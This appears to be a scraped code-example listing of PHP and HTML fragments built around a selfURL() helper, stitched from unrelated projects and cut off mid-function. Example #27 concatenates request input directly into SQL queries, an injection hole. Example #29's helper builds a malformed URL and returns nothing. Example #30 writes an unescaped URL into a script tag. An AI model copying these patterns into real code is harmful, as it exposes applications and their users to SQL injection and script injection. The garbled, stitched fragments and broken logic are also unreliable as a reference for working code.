                            <a href="<?php if($_GET['sort_by'] == 'random') echo selfURL(); else echo selfURL().'&sort_by=random'?>">Random view</a>
                          </li>
                        </ul>
                    </div>
                    <div class="right">
                    	<div class="left">
                        <!--
                        	Pages: <div class="page">1</div>
                        </div>
                        <div class="left">
                        	All Pages 1500:  <a class="next" href="#"></a><a class="prev" href="#"></a>
                          -->
                          
					<?php echo "<b>" . $gallery_page . "</b>"; ?> 
                    <select style="font-size: 11px" id="page" onChange="location.href=document.getElementById('page').options[document.getElementById('page').selectedIndex].value">
						<?php
                            for($x=1;$x<=$pages;$x++){
                                $selected = ($x == $page_num) ? "selected" : "";
                                if($setting->modrw){
									echo "<option value=\"gallery_" . $curgal . "_m" . $_GET['gid'] . "-sb_" . $sort_by . "-so_" . $sort_order . "-page" . $x . ".html\" $selected>$x</option>";
Exemple #27
0
    return moveURL(long(), lat(), $zoom, maptype());
}
function mapTypeURL($type)
{
    return moveURL(long(), lat(), zoom(), $type);
}
function selfURL()
{
    return moveURL(long(), lat(), zoom(), maptype());
}
function moveURL($long, $lat, $zoom, $maptype)
{
    $params = array("zoom" => $zoom, "long" => $long, "lat" => $lat, "maptype" => $maptype, "loc" => (int) $_REQUEST['loc']);
    return "detail.php?" . http_build_query($params);
}
$tabs = new Tabs(selfURL(), "tab", array("Map"));
$tabs_html = $tabs->html();
$tab = $tabs->active();
$tab = tab();
$width = pix("x", $phone);
$height = pix("y", $phone);
$parent = false;
if ($_REQUEST['loc']) {
    $db = new db();
    $stmt = $db->connection->prepare("SELECT * FROM Buildings WHERE id = " . $_REQUEST['loc']);
    $stmt->execute();
    $data = $stmt->fetchAll();
}
if ($data[0]['parent'] != '') {
    $db = new db();
    $stmt_1 = $db->connection->prepare("SELECT * FROM Buildings WHERE id = " . $data[0]['parent']);
 case 'Touch':
   define('INIT_FACTOR', 3);
   break;
 case 'Basic':
   define('INIT_FACTOR', 2);
   break;
}

CacheIMS::init(); // set bbox extent

//set the offset parameter
define('MOVE_FACTOR', 0.40);

$selectvalue = $_REQUEST['selectvalues'];

$tabs = new Tabs(selfURL(), "tab", array("Map", "Photo", "What's Here"));

if(!photoURL()) {
    $tabs->hide("Photo");
}

$data = Buildings::bldg_info($selectvalue);
$whats_here = whats_here($data);
$anything_here = (count($whats_here) > 0);
$snippets = snippets($data);

if(!$anything_here) {
  $tabs->hide("What's Here");
}

$tabs_html = $tabs->html($page->branch);
Exemple #29
0
{
    return substr($s1, 0, strpos($s1, $s2));
}
function selfURL()
{
    if (!isset($_SERVER['REQUEST_URI'])) {
        $serverrequri = $_SERVER['PHP_SELF'];
    } else {
        $serverrequri = $_SERVER['REQUEST_URI'];
    }
    $s = empty($_SERVER["HTTPS"]) ? '' : $_SERVER["HTTPS"] == "on" ? "s" : "";
    $protocol = strleft(strtolower($_SERVER["SERVER_PROTOCOL"]), "/") . $s;
    $port = $_SERVER["SERVER_PORT"] == "80" ? "" : ":" . $_SERVER["SERVER_PORT"];
    $_SESSION['ref'] = $protocol . "://>/" . $_SERVER['SERVER_NAME'] . $port . $serverrequri;
}
selfURL();
?>
<div id="layerslider-container-fw">

    <div id="layerslider" style="width: 100%; height: 530px; margin: 0px auto; ">        <div class="ls-slide" data-ls="transition3d:53; timeshift:-1000;">
            <img src="<?php 
echo base_url();
?>
assets/images/slider5.png" class="ls-bg" alt="Slide background">
            <p class="ls-l slide1"	style="top: 330px; left:248px; font-family:roboto; font-size:13px; color:#fefefe;" data-ls="delayin:1000; scalein:4; durationin : 1000;"><br/></p>
        </div><!-- Slide1 -->

        <div class="ls-slide" data-ls="transition3d:12;timeshift:-1000;">
            <img src="<?php 
echo base_url();
?>
Exemple #30
0
function fatalErrorHandler()
{
    # Getting last error
    $error = error_get_last();
    # Checking if last error is a fatal error
    if ($error['type'] === E_ERROR || $error['type'] === E_USER_ERROR) {
        error_log(microtime(1) . ";" . $error['type'] . ";" . "DIED: " . $error['message'] . ";\n", 3, dirname($_SERVER['SCRIPT_FILENAME']) . "/log/error.log");
        print microtime(1) . ";" . $error['type'] . ";" . $error['message'] . PHP_EOL;
        flush();
        ob_flush();
        if (php_sapi_name() !== 'cli') {
            # Here we handle the error, displaying HTML, logging, ...
            print 'Sorry, a serious error has occured but don\'t worry, I\'ll redirect the user<br/>\\n';
            print "<br/>\n" . get_execution_time() . "<br/>\n\n<script> top.location = \"" . selfURL() . "\"</script>\n";
        }
    } else {
        error_log(microtime(1) . ";" . $error['type'] . ";" . $error['message'] . ";\n", 3, dirname($_SERVER['SCRIPT_FILENAME']) . "/log/error.log");
    }
}